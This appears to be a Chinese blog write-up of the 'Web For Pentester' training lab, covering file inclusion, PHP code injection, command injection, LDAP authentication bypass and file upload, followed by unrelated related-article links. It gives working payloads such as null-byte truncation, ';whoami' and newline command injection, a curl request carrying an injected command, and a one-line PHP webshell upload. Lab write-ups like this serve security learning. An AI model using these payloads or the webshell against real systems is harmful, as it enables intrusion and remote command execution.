File include(文件包含)

Example 1 没有任何过滤

审计源码



没有对我们传参的page进行任何过滤,payload如下

http://172.16.1.104/fileincl/example1.php?page=http://172.16.1.102/info.txt



本机info.txt内容

Example 2 00截断

审计源码



在传参的page后面加入了.php,使用正则对00后面进行过滤为空

这里可以使用PHP 00截断,payload如下

http://172.16.1.104/fileincl/example2.php?page=http://172.16.1.102/info.txt%00



执行成功

code injection(代码注入)

php危险函数,代码注入

Example 1 绕过拼接

审计代码



直接将name进行传参,然后使用Hello name !!!进行拼接,最后使用eval函数执行php函数

eval函数是一个php中很危险的函数,可以直接调用php代码执行

这里虽然对我们的输入进行了拼接,但是可以进行闭合,payload如下

name=";system('whoami');//

现将前面的"进行闭合,然后使用;代表这句php代码的结束,执行system函数调用系统命令whomai;代表system函数执行完毕,最后使用//将本行后面的内容注释

Example 2

审计源码



由于没有学过php,这里看不太懂,留下一个坑,接下来就命令执行吧

Commands injection(命令执行)

Example 1 没有过滤

审计源码



通过systme()函数执行ping -c 2探测主机存活两次,没有对ip传参进行过滤

这里运用了Linux的特性; & && | ||,这些特殊字符都可以进行绕过

payload

ip=127.0.0.;whoami

Example 2 换行绕过

审计源码



使用正则匹配开头和结束,如果不是ip地址格式直接输出Invalid IP address,但是这里使用了/m换行匹配

使用%0a换行符绕过,payload如下

ip=127.0.0.1%0Aip a



成功执行

Example 3 跳转

审计源码



去掉了/m换行匹配,匹配如果ip不满足IP地址条件跳转到example3?ip=127.0.0.1页面

这里我们输入的命令是被执行过得,因为代码是一直往下执行的,只是跳转并没有回显执行成功页面

使用burpsuite抓包进行查看



curl可以实现

curl "http://172.16.1.104/commandexec/example3.php?ip=127.0.0.1;whoami"





执行成功

LDAP attacks(轻目录访问协议)

LDAP 是一个基于x.500标准的轻量目录访问协议。可以把它看做数据库,就像我们电脑的目录结构一样,可以快速的查询、搜索、浏览数据,和数据不同的就是它修改数据很麻烦,LDAP就是为了查询数据而生的

Example 1 空认证

查询当然时候密码认证的啦

审计源码



这里很像数据库认证的页面,验证我们的用户名和密码是否在LDAP数据库中

直接点击进行访问



用户名和密码为hacker,由于一些LDAP是空绑定的,就是没有进行认证设置,所以我们提交空的密码

username,password改为空的进行提交



还是不可以登录

那么我们直接将传参清除,进行提交

/example1.php



认证成功

Example 2 类似SQL注入的认证

审计源码



这个类似于SQL注入,就如以下代码



先通过md5加密了password,所以不能对password进行注入,但是我们可以对name进行闭合

所以可以构造payload进行闭合

name=hacker))%00&password=任意

测试



认证成功

File Upload(文件上传)

Example 1 没有过滤的上传

审计源码



没有进行任何过滤,直接将文件进行上传

上传一句话木马



上传成功后,提示我们上传的文件在here



点击访问backdoor.php



没有任何回显,因为是一句话木马,使用蚁剑进行连接



可以看到测试连接成功,直接添加,添加后 右键 -> 虚拟终端 就可以连接靶机命令行

Example 2 大小写绕过

审计源码



使用正则进行匹配结束php的黑名单,由于这里靶机使用的环境是php,所以上传asp是没有用的

但是这里检测的的后缀名是小写的php,可是使用大小写绕过



上传成功

XML attacks (XML攻击)

Example 1

审计源码

Example 2

审计源码

Web For Pentester File include的更多相关文章

  1. Web for pentester_writeup之File Include篇

    Web for pentester_writeup之File Include篇 File Include(文件包涵) Example 1 加一个单引号 从报错中我们可以获取如下信息: 当前文件执行的代 ...

  2. ERROR: “System.Web.Mvc.Controller.File(string, string, string)”是一个“方法”

    ERROR: “System.Web.Mvc.Controller.File(string, string, string)”是一个“方法”,这在给定的上下文中无效 这是一个与Controller.F ...

  3. 【渗透测试学习平台】 web for pentester -2.SQL注入

    Example 1 字符类型的注入,无过滤 http://192.168.91.139/sqli/example1.php?name=root http://192.168.91.139/sqli/e ...

  4. 【渗透测试学习平台】 web for pentester -1.介绍与安装

    web for pentester是国外安全研究者开发的的一款渗透测试平台,通过该平台你可以了解到常见的Web漏洞检测技术. 官网:https://www.pentesterlab.com 下载地址: ...

  5. Web For Pentester靶场(xss部分)

    配置 官网:https://pentesterlab.com/ 下载地址:https://isos.pentesterlab.com/web_for_pentester_i386.iso 安装方法:虚 ...

  6. Express web框架 upload file

    哈哈,敢开源,还是要有两把刷子的啊 今天,看看node.js 的web框架 Express的实际应用 //demo1 upload file <html><head><t ...

  7. 【渗透测试学习平台】 web for pentester -4.XML

    example1: http://192.168.91.139/xml/example1.php?xml=%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%2 ...

  8. 【渗透测试学习平台】 web for pentester -8.XML

    example1: http://192.168.91.139/xml/example1.php?xml=%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%2 ...

  9. 【渗透测试学习平台】 web for pentester -7.文件包含

    Example 1 输入单引号,报错,得到物理路径 可通过../../../../etc/paaswd 读取敏感信息 可包含本地文件或远程文件 https://assets.pentesterlab. ...

  10. 【渗透测试学习平台】 web for pentester -4.目录遍历

    Example 1 http://192.168.106.154/dirtrav/example1.php?file=../../../../../../../etc/passwd Example 2 ...

随机推荐

  1. vscode - plug - scss转css

    vscode - plug - scss转css 参考资料 sass笔记(完结)安装,使用,vscode中设置easy sass,嵌套,变量,混合,循环,分支 vscode配置 easy sass E ...

  2. PHP myadmin 无路径getshell

    PHP>5 & MySQl>5 环境:windows下常规的集成环境如 phpstudy,wamp,xampp等. 条件:当已经用弱口令或者爆破登录myadmin以后,没登录进入就 ...

  3. host头攻击

    一.问题源起 HTTP1.1规范中在增加了HOST头信息,用于存储服务端与客户端的路由信息. 例如: Request的Header里就有一个标名请求,它是用来记录服务端网站域名的. 如果前端或者后台正 ...

  4. Typora的下载和MarkDown的相关操作

    MarkDown 作为程序员就要会写blog(网络日记),那么怎么让你的笔记写的排版舒适清晰?我们可以通过MarkDown来写笔记 首先我们要下载Typora,因为现在官网的Typora要付费,所以可 ...

  5. 20191323王予涵sort

    sort 任务 用man sort 查看sort的帮助文档 sort常用选项有哪些,都有什么功能?提交相关使用的截图 如果让你编写sort,你怎么实现?写出伪代码和相关的函数或系统调用 一.查看帮助文 ...

  6. 定长线程池Demo

    1 import java.util.concurrent.ExecutorService; 2 import java.util.concurrent.Executors; 3 4 /** 5 * ...

  7. mysql 正则匹配不规则日期

    where colum4 REGEXP  "^[[:digit:]]{1}/[[:digit:]]{1}/[[:digit:]]{4}"=1    -- 2/3/2021 wher ...

  8. 关于在Eclipse中使用EclEmma

    在LAB2中,要求使用EclEmma来统计JUnit测试用例的代码覆盖度.下面就来说说如何进行基本的使用来应付实验(bushi). 在这给出完全体,可以访问下面的网址进行学习. http://www. ...

  9. 解决SVN不显示绿色小对勾

    https://blog.csdn.net/qq_34338527/article/details/108534652

  10. C++从键盘读取一行的方法

    从键盘读取一行的方法 cin类中的成员函数getline()和get()--使用数组来处理字符串 cin.getline(数组,要读入的字符数).getline()将丢弃换行符.这个成员函数通过换行符 ...